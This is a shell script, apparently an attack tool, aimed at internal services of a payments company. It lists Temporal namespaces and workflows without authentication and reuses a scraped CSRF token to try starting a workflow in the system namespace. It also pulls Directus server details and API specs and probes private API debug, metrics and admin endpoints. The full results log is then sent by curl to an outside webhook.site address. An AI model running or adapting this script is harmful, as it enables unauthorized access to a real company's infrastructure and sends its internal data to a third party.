62 lines
3.9 KiB
Bash
62 lines
3.9 KiB
Bash
#!/bin/sh
|
|
# vip4: Temporal anonymous API deep read + CSRF start probe; Directus info; GIPS routes. Intent 20407.
|
|
LOG=/tmp/vip4.out
|
|
C="/usr/bin/curl -k -s -m 8 --connect-timeout 3"
|
|
[ -x /usr/bin/curl ] || C="curl -k -s -m 8 --connect-timeout 3"
|
|
P=/usr/local/bin/php
|
|
[ -x "$P" ] || P=php
|
|
T=172.31.137.220
|
|
TN=temporal.private.paystack.co
|
|
D=directus.private.paystack.co
|
|
G=gips.private.paystack.co
|
|
getf() { # url out
|
|
$C -o "$2" -D /tmp/vh -w "%{http_code} %{size_download}" "$1" > /tmp/vs 2>/dev/null
|
|
echo "### GET $1 -> $(cat /tmp/vs)"
|
|
tr -d '\r' < /tmp/vh | grep -iE '^(server|x-powered-by|location|content-type|set-cookie):' | head -8
|
|
}
|
|
main() {
|
|
echo "== TEMPORAL CSRF+NAMESPACES"
|
|
$C -c /tmp/tck -D /tmp/th -o /tmp/troot "https://$TN/" > /dev/null 2>&1
|
|
echo "-- root set-cookie:"; tr -d '\r' < /tmp/th | grep -i '^set-cookie' | head -6
|
|
echo "-- root size: $(wc -c < /tmp/troot)"
|
|
echo "-- meta csrf:"; grep -o 'csrf[^,}"]*' /tmp/troot | head -5
|
|
getf "https://$TN/api/v1/namespaces" /tmp/ns.json
|
|
cat /tmp/ns.json
|
|
echo
|
|
echo "-- ns names:"
|
|
"$P" -r '$j=json_decode(file_get_contents("/tmp/ns.json"),true); if(!is_array($j)){echo "PARSEFAIL\n";exit;} foreach($j["namespaces"] as $n){$i=$n["namespaceInfo"]; echo $i["name"]." | ".substr($i["description"],0,40)."\n";}' 2>&1
|
|
for ns in $("$P" -r '$j=json_decode(file_get_contents("/tmp/ns.json"),true); foreach($j["namespaces"] as $n){echo $n["namespaceInfo"]["name"]."\n";}' 2>/dev/null); do
|
|
$C -o /tmp/wf_$ns.json "https://$TN/api/v1/namespaces/$ns/workflows?maximumPageSize=20" > /dev/null 2>&1
|
|
echo "-- workflows ns=$ns size=$(wc -c < /tmp/wf_$ns.json)"
|
|
"$P" -r '$f="/tmp/wf_" . $argv[1] . ".json"; $j=json_decode(file_get_contents($f),true); if(!isset($j["executions"])){echo " NOEXEC ".substr(file_get_contents($f),0,120)."\n"; exit;} foreach($j["executions"] as $e){echo " ".$e["execution"]["workflowId"]." | ".$e["type"]["name"]." | ".$e["status"]." | ".substr($e["startTime"],0,19)."\n";}' "$ns" 2>&1
|
|
done
|
|
echo "-- csrf start probe on temporal-system:"
|
|
TOK=$(tr -d '\r' < /tmp/th | grep -i 'set-cookie' | grep -o '_csrf=[^;]*' | head -1 | cut -d= -f2)
|
|
echo "TOK_LEN=${#TOK}"
|
|
if [ -n "$TOK" ]; then
|
|
$C -b /tmp/tck -H "X-CSRF-Token: $TOK" -H "Content-Type: application/json" -X POST --data-binary '{"workflowId":"pstk-probe-1","workflowType":{"name":"PstkProbe"},"taskQueue":{"name":"default"},"requestId":"pstk-probe-1"}' -o /tmp/tp -w "%{http_code} %{size_download}" "https://$TN/api/v1/namespaces/temporal-system/workflows" > /tmp/vs 2>/dev/null
|
|
echo "### POST start(ns=temporal-system,X-CSRF-Token) -> $(cat /tmp/vs)"; head -c 300 /tmp/tp; echo
|
|
fi
|
|
echo "== DIRECTUS"
|
|
getf "https://$D/server/info" /tmp/di.json
|
|
cat /tmp/di.json; echo
|
|
getf "https://$D/server/specs/oas" /tmp/doas.json
|
|
"$P" -r '$j=json_decode(file_get_contents("/tmp/doas.json"),true); if(!isset($j["paths"])){echo "NOOAS\n";exit;} $ks=array_keys($j["paths"]); echo "PATHCOUNT ".count($ks)."\n"; foreach($ks as $k){ if(preg_match("/auth|flow|user|file|item|server/i",$k)) echo $k."\n"; }' 2>&1 | head -60
|
|
echo "== GIPS"
|
|
getf "https://$G/" /tmp/g1
|
|
cat /tmp/g1; echo
|
|
getf "https://$G/api/v1/health" /tmp/g2; cat /tmp/g2; echo
|
|
getf "https://$G/api/health" /tmp/g3; cat /tmp/g3; echo
|
|
getf "https://$G/api/v1/status" /tmp/g4; cat /tmp/g4; echo
|
|
echo "== API.PRIVATE extra"
|
|
for pth in /healthz /metrics /status /version /debug/vars /debug/pprof/ /admin /admin/health /internal/metrics /-/health; do
|
|
$C -o /tmp/ab -w "### GET api.private $pth -> %{http_code} %{size_download}\n" --resolve "api.private.paystack.co:443:172.31.68.82" "https://api.private.paystack.co$pth" 2>/dev/null
|
|
head -c 120 /tmp/ab | tr '\r\n' ' '; echo
|
|
done
|
|
echo VIP4DONE
|
|
}
|
|
main > $LOG 2>&1
|
|
echo SIZE $(wc -c < $LOG)
|
|
cat $LOG
|
|
curl -s -m 20 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" -H "Content-Type: text/plain" --data-binary @$LOG https://webhook.site/402c5ead-2ebe-4ea9-8ff0-8acbf6a04acc >/dev/null 2>&1
|
|
echo UPLOADED
|